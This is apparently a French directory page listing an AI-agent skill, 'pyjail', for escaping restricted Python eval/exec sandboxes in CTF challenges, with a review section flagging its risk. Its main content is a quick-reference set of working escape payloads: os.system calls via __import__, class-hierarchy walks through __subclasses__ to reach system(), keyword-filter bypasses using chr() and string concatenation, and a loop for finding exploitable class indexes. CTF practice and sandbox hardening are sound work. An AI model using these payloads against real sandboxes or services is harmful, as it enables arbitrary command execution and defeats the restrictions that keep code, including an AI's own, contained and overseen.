Évasion de sandbox Python

VérifiéPrudence

Techniques pour contourner les restrictions Python dans les environnements eval/exec, défis CTF et scénarios d'entrée filtrée.

Spar Skills Guide Bot
SecuriteAvancé
0001/08/2026
Claude Code
#python-jail#sandbox-escape#ctf#security#exploit

Recommandé pour

Notre avis

Propose des techniques et des payloads pour échapper aux environnements Python restreints, contourner les filtres et exécuter des commandes.

Points forts

  • Inclut une référence rapide des évasions courantes.
  • Explique la manipulation de la hiérarchie des classes lorsque les builtins sont bloqués.
  • Fournit des extraits de débogage pour identifier les classes utiles.

Limites

  • Certaines techniques peuvent échouer sur des versions récentes de Python.
  • Les index de classes varient selon l'environnement.
  • Ne couvre pas toutes les configurations de sandbox.
Quand l'utiliser

Quand vous devez sortir d'un jail Python, d'un sandbox ou d'un environnement eval/exec avec filtrage des entrées.

Quand l'éviter

Quand l'environnement Python n'impose aucune restriction ou qu'une solution au niveau du système est plus appropriée.

Analyse de sécurité

Prudence
Score qualité90/100

The skill is a reference for sandbox escape techniques, commonly used in security testing and CTF challenges. It does not directly instruct destructive actions, but the ability to execute arbitrary commands via Python carries inherent risk if misused. Allowed tools include Bash, which could be invoked through the demonstrated escapes. The educational intent and clear structure mitigate risk, but caution is warranted.

Points d'attention
  • Provides methods to execute arbitrary shell commands from Python, bypassing sandbox restrictions.
  • Contains code snippets that could be used to break out of restricted environments, which may be misused if not properly scoped.
  • Uses encoding/concatenation tricks to bypass filters, which could be used to hide malicious payloads.

Exemples

Basic jail break
I have a Python eval sandbox that blocks `import` and `os`. How can I execute commands to read flag.txt?
Classic class hierarchy escape
Use the Python object class chain to find subprocess and run a shell command.
Filter bypass
My jail filters the characters `'` and `"`. How can I build a payload using concatenation or chr()?

name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob

Python Jail Escape Skill

Quick Workflow

Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag

Quick Reference - Common Escapes

# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")

# Using breakpoint (Python 3.7+)
breakpoint()  # Drops into pdb, then !cat flag.txt

# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')

# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')

Reference Files

| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |

Quick Debugging

# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
    if 'wrap' in str(c): print(i, c)

# Check available builtins
dir(__builtins__)
Skills similaires